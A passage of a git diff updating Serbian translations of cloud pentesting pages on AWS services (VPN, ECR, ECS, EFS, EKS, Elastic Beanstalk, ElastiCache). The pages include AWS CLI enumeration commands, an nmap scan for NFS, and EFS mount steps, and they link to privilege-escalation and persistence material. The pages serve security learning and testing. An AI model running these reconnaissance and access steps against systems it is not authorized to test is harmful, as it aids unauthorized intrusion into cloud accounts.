Rukuje sigurnom komunikacijom između vašeg VPC-a i vaše lokalne mreže. -3. **Site-to-Site VPN Connection**: +3. **Site-to-Site VPN Veza**: - Site-to-Site VPN veza povezuje vašu lokalnu mrežu sa VPC-om kroz sigurni, IPsec VPN tunel. -- Ova vrsta veze zahteva Customer Gateway i Virtual Private Gateway. +- Ova vrsta veze zahteva Kupčev Gateway i Virtuelni Privatni Gateway. - Koristi se za sigurnu, stabilnu i doslednu komunikaciju između vašeg data centra ili mreže i vašeg AWS okruženja. - Obično se koristi za redovne, dugoročne veze i naplaćuje se na osnovu količine podataka prenetih preko veze. -4. **Client VPN Endpoint**: -- Client VPN endpoint je resurs koji kreirate u AWS-u da omogućite i upravljate klijent VPN sesijama. +4. **Klijent VPN Krajnja Tačka**: +- Klijent VPN krajnja tačka je resurs koji kreirate u AWS-u da omogućite i upravljate klijent VPN sesijama. - Koristi se za omogućavanje pojedinačnim uređajima (kao što su laptopi, pametni telefoni itd.) da se sigurno povežu sa AWS resursima ili vašom lokalnom mrežom. -- Razlikuje se od Site-to-Site VPN po tome što je dizajniran za pojedinačne klijente, a ne za povezivanje celih mreža. -- Sa Client VPN-om, svaki klijentski uređaj koristi VPN klijentski softver za uspostavljanje sigurne veze. +- Razlikuje se od Site-to-Site VPN-a po tome što je dizajnirana za pojedinačne klijente, a ne za povezivanje celih mreža. +- Sa Klijent VPN-om, svaki klijentski uređaj koristi VPN klijentski softver za uspostavljanje sigurne veze. ### Site-to-Site VPN **Povežite vašu lokalnu mrežu sa vašim VPC-om.** -- **VPN connection**: Sigurna veza između vaše lokalne opreme i vaših VPC-ova. -- **VPN tunnel**: Enkriptovana veza kroz koju podaci mogu prolaziti iz mreže klijenta ka AWS-u ili obrnuto. +- **VPN veza**: Sigurna veza između vaše lokalne opreme i vaših VPC-ova. +- **VPN tunel**: Enkriptovana veza kroz koju podaci mogu prolaziti iz mreže kupca ka AWS-u ili obrnuto. Svaka VPN veza uključuje dva VPN tunela koja možete istovremeno koristiti za visoku dostupnost. -- **Customer gateway**: AWS resurs koji pruža informacije AWS-u o vašem uređaju za customer gateway. -- **Customer gateway device**: Fizički uređaj ili softverska aplikacija na vašoj strani Site-to-Site VPN veze. -- **Virtual private gateway**: VPN koncentrator na Amazon strani Site-to-Site VPN veze. Koristite virtuelni privatni gateway ili transit gateway kao gateway za Amazon stranu Site-to-Site VPN veze. +- **Kupčev gateway**: AWS resurs koji pruža informacije AWS-u o vašem uređaju kupčevog gateway-a. +- **Uređaj kupčevog gateway-a**: Fizički uređaj ili softverska aplikacija na vašoj strani Site-to-Site VPN veze. +- **Virtuelni privatni gateway**: VPN koncentrator na Amazon strani Site-to-Site VPN veze. Koristite virtuelni privatni gateway ili transit gateway kao gateway za Amazon stranu Site-to-Site VPN veze. - **Transit gateway**: Transit hub koji se može koristiti za međusobno povezivanje vaših VPC-ova i lokalnih mreža. Koristite transit gateway ili virtuelni privatni gateway kao gateway za Amazon stranu Site-to-Site VPN veze. -#### Limitations +#### Ograničenja - IPv6 saobraćaj nije podržan za VPN veze na virtuelnom privatnom gateway-u. - AWS VPN veza ne podržava Path MTU Discovery. @@ -156,40 +156,40 @@ Pored toga, uzmite u obzir sledeće kada koristite Site-to-Site VPN. - Kada povezujete svoje VPC-ove sa zajedničkom lokalnom mrežom, preporučujemo da koristite nepreklapajuće CIDR blokove za vaše mreže. -### Client VPN +### Klijent VPN **Povežite se sa vašeg računara na vaš VPC** -#### Concepts +#### Koncepti -- **Client VPN endpoint:** Resurs koji kreirate i konfigurišete da omogućite i upravljate klijent VPN sesijama. To je resurs gde se završavaju sve klijent VPN sesije. -- **Target network:** Ciljna mreža je mreža koju povezujete sa Client VPN endpoint-om. **Podmreža iz VPC-a je ciljana mreža**. Povezivanje podmreže sa Client VPN endpoint-om omogućava vam da uspostavite VPN sesije. Možete povezati više podmreža sa Client VPN endpoint-om za visoku dostupnost. Sve podmreže moraju biti iz iste VPC. Svaka podmreža mora pripadati različitoj dostupnoj zoni. -- **Route**: Svaki Client VPN endpoint ima tabelu ruta koja opisuje dostupne odredišne mrežne rute. Svaka ruta u tabeli ruta specificira putanju za saobraćaj ka određenim resursima ili mrežama. -- **Authorization rules:** Pravilo autorizacije **ograničava korisnike koji mogu pristupiti mreži**. Za određenu mrežu, konfigurišete Active Directory ili grupu provajdera identiteta (IdP) kojoj je dozvoljen pristup. Samo korisnici koji pripadaju ovoj grupi mogu pristupiti određenoj mreži. **Podrazumevano, nema pravila autorizacije** i morate konfigurisati pravila autorizacije da omogućite korisnicima pristup resursima i mrežama. -- **Client:** Krajnji korisnik koji se povezuje na Client VPN endpoint da uspostavi VPN sesiju. Krajnji korisnici treba da preuzmu OpenVPN klijent i koriste konfiguracioni fajl Client VPN koji ste kreirali da uspostave VPN sesiju. -- **Client CIDR range:** Opseg IP adresa iz kojeg se dodeljuju klijentske IP adrese. Svaka veza sa Client VPN endpoint-om dodeljuje jedinstvenu IP adresu iz opsega klijentskog CIDR-a. Birate opseg klijentskog CIDR-a, na primer, `10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN podržava portove 443 i 1194 za TCP i UDP. Podrazumevani port je 443. -- **Client VPN network interfaces:** Kada povežete podmrežu sa vašim Client VPN endpoint-om, kreiramo mrežne interfejse Client VPN u toj podmreži. **Saobraćaj koji se šalje u VPC iz Client VPN endpoint-a šalje se kroz mrežni interfejs Client VPN**. Zatim se primenjuje prevođenje izvorne mrežne adrese (SNAT), gde se izvorna IP adresa iz opsega klijentskog CIDR-a prevodi na IP adresu mrežnog interfejsa Client VPN. -- **Connection logging:** Možete omogućiti beleženje veza za vaš Client VPN endpoint da zabeležite događaje veze. Ove informacije možete koristiti za forenziku, analizu kako se vaš Client VPN endpoint koristi ili rešavanje problema sa vezama. -- **Self-service portal:** Možete omogućiti portal za samoposlugu za vaš Client VPN endpoint. Klijenti se mogu prijaviti na web portal koristeći svoje akreditive i preuzeti najnoviju verziju konfiguracionog fajla Client VPN endpoint-a, ili najnoviju verziju klijenta koji pruža AWS. +- **Klijent VPN krajnja tačka:** Resurs koji kreirate i konfigurišete da omogućite i upravljate klijent VPN sesijama. To je resurs gde se sve klijent VPN sesije završavaju. +- **Ciljna mreža:** Ciljna mreža je mreža koju povezujete sa Klijent VPN krajnjom tačkom. **Podmreža iz VPC-a je ciljana mreža**. Povezivanje podmreže sa Klijent VPN krajnjom tačkom omogućava vam da uspostavite VPN sesije. Možete povezati više podmreža sa Klijent VPN krajnjom tačkom za visoku dostupnost. Sve podmreže moraju biti iz iste VPC. Svaka podmreža mora pripadati različitoj dostupnoj zoni. +- **Ruta**: Svaka Klijent VPN krajnja tačka ima tabelu ruta koja opisuje dostupne odredišne mrežne rute. Svaka ruta u tabeli ruta specificira putanju za saobraćaj ka specifičnim resursima ili mrežama. +- **Pravila autorizacije:** Pravilo autorizacije **ograničava korisnike koji mogu pristupiti mreži**. Za određenu mrežu, konfigurišete Active Directory ili grupu provajdera identiteta (IdP) kojoj je dozvoljen pristup. Samo korisnici koji pripadaju ovoj grupi mogu pristupiti određenoj mreži. **Podrazumevano, nema pravila autorizacije** i morate konfigurisati pravila autorizacije da omogućite korisnicima pristup resursima i mrežama. +- **Klijent:** Krajnji korisnik koji se povezuje na Klijent VPN krajnju tačku da uspostavi VPN sesiju. Krajnji korisnici treba da preuzmu OpenVPN klijent i koriste konfiguracioni fajl Klijent VPN-a koji ste kreirali da uspostave VPN sesiju. +- **Klijent CIDR opseg:** Opseg IP adresa iz kojeg se dodeljuju klijentske IP adrese. Svaka veza sa Klijent VPN krajnjom tačkom dodeljuje jedinstvenu IP adresu iz klijent CIDR opsega. Birate klijent CIDR opseg, na primer, `10.2.0.0/16`. +- **Klijent VPN portovi:** AWS Klijent VPN podržava portove 443 i 1194 za TCP i UDP. Podrazumevani port je 443. +- **Klijent VPN mrežni interfejsi:** Kada povežete podmrežu sa vašom Klijent VPN krajnjom tačkom, kreiramo Klijent VPN mrežne interfejse u toj podmreži. **Saobraćaj koji se šalje u VPC iz Klijent VPN krajnje tačke šalje se kroz Klijent VPN mrežni interfejs**. Zatim se primenjuje prevođenje izvorne mrežne adrese (SNAT), gde se izvorna IP adresa iz klijent CIDR opsega prevodi na IP adresu Klijent VPN mrežnog interfejsa. +- **Logovanje konekcija:** Možete omogućiti logovanje konekcija za vašu Klijent VPN krajnju tačku da beležite događaje konekcija. Ove informacije možete koristiti za forenziku, analizu kako se vaša Klijent VPN krajnja tačka koristi ili za otklanjanje problema sa konekcijama. +- **Portal za samoposluživanje:** Možete omogućiti portal za samoposluživanje za vašu Klijent VPN krajnju tačku. Klijenti se mogu prijaviti na web portal koristeći svoje akreditive i preuzeti najnoviju verziju konfiguracionog fajla Klijent VPN krajnje tačke, ili najnoviju verziju klijenta koji pruža AWS. -#### Limitations +#### Ograničenja -- **Client CIDR ranges cannot overlap with the local CIDR** VPC-a u kojem se nalazi povezana podmreža, ili bilo koje rute ručno dodate u tabelu ruta Client VPN endpoint-a. -- Opsezi klijentskog CIDR-a moraju imati veličinu bloka od **najmanje /22** i ne smeju **biti veći od /12.** -- **Deo adresa** u opsegu klijentskog CIDR-a se koristi za **podršku modelu dostupnosti** Client VPN endpoint-a i ne može se dodeliti klijentima. Stoga preporučujemo da **dodelite CIDR blok koji sadrži dvostruko više IP adresa koje su potrebne** da omogućite maksimalan broj istovremenih veza koje planirate da podržite na Client VPN endpoint-u. -- **Opseg klijentskog CIDR-a ne može se promeniti** nakon što kreirate Client VPN endpoint. -- **Podmreže** povezane sa Client VPN endpoint-om **moraju biti u istom VPC-u**. -- **Ne možete povezati više podmreža iz iste dostupne zone sa Client VPN endpoint-om**. -- Client VPN endpoint **ne podržava povezivanje podmreža u VPC-u sa posvećenim zakazivanjem**. -- Client VPN podržava **IPv4** saobraćaj samo. -- Client VPN **nije** usklađen sa Federal Information Processing Standards (**FIPS**). +- **Klijent CIDR opsezi ne mogu se preklapati sa lokalnim CIDR** VPC-a u kojem se povezana podmreža nalazi, ili bilo kojim rutama koje su ručno dodate u tabelu ruta Klijent VPN krajnje tačke. +- Klijent CIDR opsezi moraju imati veličinu bloka od **najmanje /22** i ne smeju **biti veći od /12.** +- **Deo adresa** u klijent CIDR opsegu se koristi za **podršku modelu dostupnosti** Klijent VPN krajnje tačke i ne može se dodeliti klijentima. Stoga, preporučujemo da **dodelite CIDR blok koji sadrži dvostruko više IP adresa koje su potrebne** da omogućite maksimalan broj istovremenih konekcija koje planirate da podržite na Klijent VPN krajnjoj tački. +- **Klijent CIDR opseg ne može se promeniti** nakon što kreirate Klijent VPN krajnju tačku. +- **Podmreže** povezane sa Klijent VPN krajnjom tačkom **moraju biti u istom VPC-u**. +- **Ne možete povezati više podmreža iz iste dostupne zone sa Klijent VPN krajnjom tačkom**. +- Klijent VPN krajnja tačka **ne podržava povezivanje podmreža u VPC-u sa posvećenim zaklonom**. +- Klijent VPN podržava **IPv4** saobraćaj samo. +- Klijent VPN **nije** usklađen sa Federal Information Processing Standards (**FIPS**). - Ako je višefaktorska autentifikacija (MFA) onemogućena za vaš Active Directory, lozinka korisnika ne može biti u sledećem formatu. ``` SCRV1:: ``` -- Portal za samoposlugu **nije dostupan za klijente koji se autentifikuju koristeći međusobnu autentifikaciju**. +- Portal za samoposluživanje **nije dostupan za klijente koji se autentifikuju koristeći međusobnu autentifikaciju**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 07b0efe21..2c2eb1950 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -21,9 +21,9 @@ Svaki AWS nalog ima 2 registra: **Privatni** i **Javni**. - **Privatno po defaultu**: Slike kontejnera smeštene u Amazon ECR privatnom registru su **samo dostupne ovlašćenim korisnicima** unutar vašeg AWS naloga ili onima kojima je data dozvola. - URI **privatnog repozitorijuma** prati format `.dkr.ecr..amazonaws.com/` - **Kontrola pristupa**: Možete **kontrolisati pristup** svojim privatnim slikama kontejnera koristeći **IAM politike**, i možete konfigurisati precizne dozvole na osnovu korisnika ili uloga. -- **Integracija sa AWS uslugama**: Amazon ECR privatni registri se mogu lako **integrisati sa drugim AWS uslugama**, kao što su EKS, ECS... +- **Integracija sa AWS uslugama**: Amazon ECR privatni registri se lako mogu **integrisati sa drugim AWS uslugama**, kao što su EKS, ECS... - **Druge opcije privatnog registra**: -- Kolona imutabilnosti oznaka prikazuje njen status, ako je imutabilnost oznaka omogućena, ona će **sprečiti** slanje **slika** sa **već postojećim oznakama** da prepisuju slike. +- Kolona imutabilnosti oznaka prikazuje njen status, ako je imutabilnost oznaka omogućena, ona će **sprečiti** slanje slika sa **već postojećim oznakama** da prepisuju slike. - Kolona **Tip enkripcije** prikazuje svojstva enkripcije repozitorijuma, prikazuje podrazumevane tipove enkripcije kao što su AES-256, ili ima **KMS** omogućene enkripcije. - Kolona **Pull through cache** prikazuje njen status, ako je status Pull through cache Aktivan, on će keširati **repozitorijume u spoljnjem javnom repozitorijumu u vaš privatni repozitorijum**. - Specifične **IAM politike** mogu biti konfigurisane da dodele različite **dozvole**. @@ -32,7 +32,7 @@ Svaki AWS nalog ima 2 registra: **Privatni** i **Javni**. 2. **Javni registri**: - **Javna dostupnost**: Slike kontejnera smeštene u ECR javnom registru su **dostupne svima na internetu bez autentifikacije.** -- URI **javnog repozitorijuma** je kao `public.ecr.aws//`. Iako deo `` može biti promenjen od strane administratora u drugu string koji je lakši za pamćenje. +- URI **javnog repozitorijuma** je poput `public.ecr.aws//`. Iako deo `` može biti promenjen od strane administratora u drugu lakšu za pamćenje. **Repozitorijumi** @@ -43,7 +43,7 @@ Ovo su **slike** koje se nalaze u **privatnom registru** ili u **javnom**. #### Politike registra i repozitorijuma -**Registri i repozitorijumi** takođe imaju **politike koje se mogu koristiti za dodeljivanje dozvola drugim principima/nalozima**. Na primer, u sledećoj slici politike repozitorijuma možete videti kako bilo koji korisnik iz cele organizacije može pristupiti slici: +**Registri i repozitorijumi** takođe imaju **politike koje se mogu koristiti za dodeljivanje dozvola drugim principima/nalozima**. Na primer, u sledećoj politici repozitorijuma možete videti kako bilo koji korisnik iz cele organizacije može pristupiti slici:
@@ -87,7 +87,7 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite ECR dozvole za e ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Perzistencija +#### Persistencija {{#ref}} ../aws-persistence/aws-ecr-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index f65122c27..aeaf40073 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -8,24 +8,24 @@ Amazon **Elastic Container Services** ili ECS pruža platformu za **hostovanje kontejnerizovanih aplikacija u oblaku**. ECS ima dva **metoda implementacije**, tip instance **EC2** i **serverless** opciju, **Fargate**. Usluga **omogućava lako i bezbolno pokretanje kontejnera u oblaku**. -ECS funkcioniše koristeći sledeće tri gradivne jedinice: **Klasteri**, **Usluge** i **Definicije zadataka**. +ECS funkcioniše koristeći sledeće tri gradivne blokove: **Klasteri**, **Usluge** i **Definicije zadataka**. -- **Klasteri** su **grupe kontejnera** koji se pokreću u oblaku. Kao što je ranije pomenuto, postoje dva tipa pokretanja za kontejnere, EC2 i Fargate. AWS definiše tip pokretanja **EC2** kao omogućavanje kupcima “da pokreću \[svoje] kontejnerizovane aplikacije na klasteru Amazon EC2 instanci koje \[oni] **upravljaju**”. **Fargate** je sličan i definisan je kao “\[omogućava] vam da pokrećete svoje kontejnerizovane aplikacije **bez potrebe za obezbeđivanjem i upravljanjem** pozadinskom infrastrukturom”. +- **Klasteri** su **grupe kontejnera** koji se pokreću u oblaku. Kao što je ranije pomenuto, postoje dva tipa pokretanja za kontejnere, EC2 i Fargate. AWS definiše **EC2** tip pokretanja kao omogućavanje kupcima “da pokreću \[svoje] kontejnerizovane aplikacije na klasteru Amazon EC2 instanci koje \[oni] **upravljaju**”. **Fargate** je sličan i definisan je kao “\[omogućava] vam da pokrećete svoje kontejnerizovane aplikacije **bez potrebe za obezbeđivanjem i upravljanjem** pozadinskom infrastrukturom”. - **Usluge** se kreiraju unutar klastera i odgovorne su za **pokretanje zadataka**. Unutar definicije usluge **definišete broj zadataka koji će se pokrenuti, automatsko skaliranje, provajder kapaciteta (Fargate/EC2/Spoljašnji),** **informacije o umrežavanju** kao što su VPC, podmreže i sigurnosne grupe. - Postoje **2 tipa aplikacija**: -- **Usluga**: Grupa zadataka koja se bavi dugotrajnim računski zahtevnim radom koji se može zaustaviti i ponovo pokrenuti. Na primer, web aplikacija. +- **Usluga**: Grupa zadataka koja se bavi dugotrajnim računski radom koji se može zaustaviti i ponovo pokrenuti. Na primer, web aplikacija. - **Zadatak**: Samostalni zadatak koji se pokreće i završava. Na primer, batch posao. -- Među aplikacijama usluga, postoje **2 tipa raspoređivača usluga**: -- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategija raspoređivanja replika postavlja i **održava željeni broj** zadataka širom vašeg klastera. Ako iz nekog razloga zadatak prestane sa radom, novi se pokreće na istom ili drugom čvoru. -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Raspoređuje tačno jedan zadatak na svakoj aktivnoj instanci kontejnera koja ima potrebne zahteve. Nema potrebe da se specificira željeni broj zadataka, strategija postavljanja zadataka ili korišćenje politika automatskog skaliranja usluga. -- **Definicije zadataka** su odgovorne za **definisanje koji će kontejneri raditi** i razne parametre koji će biti konfigurisani sa kontejnerima kao što su **mapiranja portova** sa hostom, **env varijable**, Docker **entrypoint**... +- Među aplikacijama usluga, postoje **2 tipa planera usluga**: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategija planiranja replika postavlja i **održava željeni broj** zadataka širom vašeg klastera. Ako iz nekog razloga zadatak prestane sa radom, novi se pokreće na istom ili drugom čvoru. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Postavlja tačno jedan zadatak na svakoj aktivnoj instanci kontejnera koja ima potrebne zahteve. Nema potrebe da se specificira željeni broj zadataka, strategija postavljanja zadataka ili korišćenje politika automatskog skaliranja usluga. +- **Definicije zadataka** su odgovorne za **definisanje koji će se kontejneri pokretati** i razne parametre koji će biti konfigurisani sa kontejnerima kao što su **mapiranja portova** sa hostom, **env varijable**, Docker **entrypoint**... - Proverite **env varijable za osetljive informacije**! ### Osetljivi podaci u definicijama zadataka -Definicije zadataka su odgovorne za **konfigurisanje stvarnih kontejnera koji će se pokretati u ECS**. Pošto definicije zadataka definišu kako će kontejneri raditi, unutar njih se može naći obilje informacija. +Definicije zadataka su odgovorne za **konfigurisanje stvarnih kontejnera koji će se pokretati u ECS**. Pošto definicije zadataka definišu kako će se kontejneri pokretati, mnoštvo informacija može se naći unutar njih. -Pacu može enumerisati ECS (list-clusters, list-container-instances, list-services, list-task-definitions), takođe može izbaciti definicije zadataka. +Pacu može enumerisati ECS (list-clusters, list-container-instances, list-services, list-task-definitions), takođe može izvući definicije zadataka. ### Enumeracija ```bash @@ -57,9 +57,9 @@ aws ecs describe-task-definition --task-definition : ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Eskalacija Privilegija +### Povećanje Privilegija -Na sledećoj stranici možete proveriti kako da **zloupotrebite ECS dozvole za eskalaciju privilegija**: +Na sledećoj stranici možete proveriti kako da **zloupotrebite ECS dozvole za povećanje privilegija**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 9a0b0372e..cc4d4a16f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -6,7 +6,7 @@ ### Osnovne informacije -Amazon Elastic File System (EFS) se predstavlja kao **potpuno upravljani, skalabilni i elastični mrežni fajl sistem** od strane AWS-a. Usluga olakšava kreiranje i konfiguraciju **fajl sistema** koji mogu istovremeno da budu dostupni više EC2 instancama i drugim AWS uslugama. Ključne karakteristike EFS-a uključuju njegovu sposobnost da se automatski skalira bez manuelne intervencije, obezbedi pristup sa niskom latencijom, podrži visoko-protokne radne opterećenja, garantuje trajnost podataka i besprekorno se integriše sa raznim AWS bezbednosnim mehanizmima. +Amazon Elastic File System (EFS) se predstavlja kao **potpuno upravljani, skalabilni i elastični mrežni fajl sistem** od strane AWS-a. Usluga olakšava kreiranje i konfiguraciju **fajl sistema** koji mogu istovremeno da koriste više EC2 instanci i drugih AWS usluga. Ključne karakteristike EFS-a uključuju njegovu sposobnost da se automatski skalira bez manuelne intervencije, obezbedi pristup sa niskom latencijom, podrži radne opterećenja sa visokim protokom, garantuje trajnost podataka i besprekorno se integriše sa raznim AWS bezbednosnim mehanizmima. Po **default-u**, EFS folder koji će se montirati biće **`/`** ali može imati **drugo ime**. @@ -16,7 +16,7 @@ EFS se kreira u VPC-u i biće **po default-u dostupan u svim VPC podmrežama**. Bez ovoga, **nećete moći da kontaktirate NFS uslugu**. -Za više informacija o tome kako to uraditi, pogledajte: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +Za više informacija o tome kako to uraditi, proverite: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) ### Enumeracija ```bash @@ -39,9 +39,9 @@ aws efs describe-replication-configurations sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` > [!CAUTION] -> Može se desiti da je EFS tačka montiranja unutar iste VPC, ali u različitom podmreži. Ako želite da budete sigurni da ste pronašli sve **EFS tačke, bilo bi bolje skenirati `/16` netmasku**. +> Moguće je da je EFS tačka montiranja unutar iste VPC, ali u različitom podmreži. Ako želite da budete sigurni da ste pronašli sve **EFS tačke, bilo bi bolje skenirati `/16` netmask**. -### Montiranje EFS +### Montiraj EFS ```bash sudo mkdir /efs @@ -57,7 +57,7 @@ sudo mount -t efs :/ /efs/ ``` ### IAM Access -Po **default-u**, svako ko ima **mrežni pristup EFS-u** moći će da montira, **čita i piše čak i kao root korisnik**. Međutim, politike datotečnog sistema mogu biti postavljene **samo za omogućavanje pristupa principima sa specifičnim dozvolama**.\ +Po **podrazumevanoj** postavci, svako ko ima **mrežni pristup EFS-u** moći će da montira, **čita i piše čak i kao root korisnik**. Međutim, politike datotečnog sistema mogu biti postavljene **samo za omogućavanje pristupa principima sa specifičnim dozvolama**.\ Na primer, ova politika datotečnog sistema **neće dozvoliti čak ni montiranje** datotečnog sistema ako **nemate IAM dozvolu**: ```json { @@ -85,7 +85,7 @@ Ili će ovo **sprečiti anonimni pristup**:
-Imajte na umu da da biste montirali datotečne sisteme zaštićene IAM-om, MORATE koristiti tip "efs" u komandi za montiranje: +Napomena: da biste montirali datotečne sisteme zaštićene IAM-om, MORATE koristiti tip "efs" u komandi za montiranje: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ @@ -96,7 +96,7 @@ sudo mount -t efs -o tls,iam :/ /efs/ **Access points** su **specifični ulazni** tačke **u EFS datotečnom sistemu** koje olakšavaju upravljanje pristupom aplikacija deljenim skupovima podataka. -Kada kreirate access point, možete **odrediti vlasnika i POSIX dozvole** za datoteke i direktorijume kreirane putem access point-a. Takođe možete **definisati prilagođeni korenski direktorijum** za access point, bilo tako što ćete odrediti postojeći direktorijum ili kreirati novi sa željenim dozvolama. Ovo vam omogućava da **kontrolišete pristup vašem EFS datotečnom sistemu po aplikaciji ili po korisniku**, što olakšava upravljanje i obezbeđivanje vaših deljenih datoteka. +Kada kreirate access point, možete **odrediti vlasnika i POSIX dozvole** za datoteke i direktorijume kreirane putem access point-a. Takođe možete **definisati prilagođeni korenski direktorijum** za access point, bilo tako što ćete odrediti postojeći direktorijum ili kreirati novi sa željenim dozvolama. Ovo vam omogućava da **kontrolišete pristup vašem EFS datotečnom sistemu po aplikaciji ili po korisniku**, čineći upravljanje i zaštitu vaših deljenih datoteka lakšim. **Možete montirati datotečni sistem sa access point-a koristeći nešto poput:** ```bash @@ -110,7 +110,7 @@ sudo mount -t efs -o tls,[iam],accesspoint= \ Pristupne tačke mogu se koristiti u sledeće svrhe: - **Pojednostavljenje upravljanja dozvolama**: Definisanjem POSIX korisnika i grupe za svaku pristupnu tačku, možete lako upravljati dozvolama pristupa za različite aplikacije ili korisnike bez modifikovanja dozvola osnovnog datotečnog sistema. -- **Sprovođenje root direktorijuma**: Pristupne tačke mogu ograničiti pristup određenom direktorijumu unutar EFS datotečnog sistema, osiguravajući da svaka aplikacija ili korisnik radi unutar svog dodeljenog foldera. Ovo pomaže u sprečavanju slučajnog izlaganja ili modifikacije podataka. +- **Sprovođenje korenskog direktorijuma**: Pristupne tačke mogu ograničiti pristup određenom direktorijumu unutar EFS datotečnog sistema, osiguravajući da svaka aplikacija ili korisnik radi unutar svog dodeljenog foldera. Ovo pomaže u sprečavanju slučajnog izlaganja ili modifikacije podataka. - **Lakši pristup datotečnom sistemu**: Pristupne tačke mogu biti povezane sa AWS Lambda funkcijom ili AWS Fargate zadatkom, pojednostavljujući pristup datotečnom sistemu za serverless i kontejnerizovane aplikacije. ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 73b96e659..5e6e42afd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -31,13 +31,13 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` -#### Post Exploitation +#### Post Eksploatacija {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## Reference - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index c3b3bea75..3be455c39 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -34,7 +34,7 @@ U AWS Elastic Beanstalk, koncepti "aplikacije" i "okruženja" služe različitim - Okruženje je **provisionirana instanca vaše aplikacije** koja radi na AWS infrastrukturi. To je **gde se vaš aplikacioni kod implementira i izvršava**. Elastic Beanstalk provisionira potrebne resurse (npr. EC2 instance, load balancere, auto-scaling grupe, baze podataka) na osnovu konfiguracije okruženja. - **Svako okruženje pokreće jednu verziju vaše aplikacije**, i možete imati više okruženja za različite svrhe, kao što su razvoj, testiranje, staging i produkcija. -- Kada kreirate okruženje, birate platformu (npr. Java, .NET, Node.js, itd.) i tip okruženja (npr. web server ili worker). Takođe možete prilagoditi konfiguraciju okruženja kako biste kontrolisali različite aspekte infrastrukture i postavki aplikacije. +- Kada kreirate okruženje, birate platformu (npr. Java, .NET, Node.js, itd.) i tip okruženja (npr. web server ili worker). Takođe možete prilagoditi konfiguraciju okruženja da kontrolišete različite aspekte infrastrukture i postavki aplikacije. ### 2 tipa Okruženja @@ -57,7 +57,7 @@ Podrazumevano je **metadata verzija 1 onemogućena**: ### Izloženost -Podaci Beanstalk-a se čuvaju u **S3 bucket-u** sa sledećim imenom: **`elasticbeanstalk--`**(ako je kreiran u AWS konzoli). Unutar ovog bucket-a naći ćete **izvorni kod aplikacije**. +Podaci Beanstalk-a se čuvaju u **S3 bucket-u** sa sledećim imenom: **`elasticbeanstalk--`** (ako je kreiran u AWS konzoli). Unutar ovog bucket-a naći ćete **izvorni kod aplikacije**. **URL** kreirane web stranice je **`http://-env...elasticbeanstalk.com/`** @@ -90,7 +90,7 @@ aws elasticbeanstalk describe-events ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Perzistencija +### Persistencija {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 3d547df49..0af6692ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache je potpuno **upravljana usluga skladištenja podataka u memoriji i keširanja** koja pruža visoke performanse, nisku latenciju i skalabilna rešenja za aplikacije. Podržava dva popularna open-source motora u memoriji: **Redis i Memcached**. ElastiCache **pojednostavljuje** **postavljanje**, **upravljanje** i **održavanje** ovih motora, omogućavajući programerima da preuzmu vremenski zahtevne zadatke kao što su obezbeđivanje, zakrčivanje, praćenje i **rezervne kopije**. +AWS ElastiCache je potpuno **upravljana usluga skladištenja podataka u memoriji i keširanja** koja pruža visokoučinkovita, niskolatentna i skalabilna rešenja za aplikacije. Podržava dva popularna open-source motora u memoriji: **Redis i Memcached**. ElastiCache **pojednostavljuje** **postavljanje**, **upravljanje** i **održavanje** ovih motora, omogućavajući programerima da 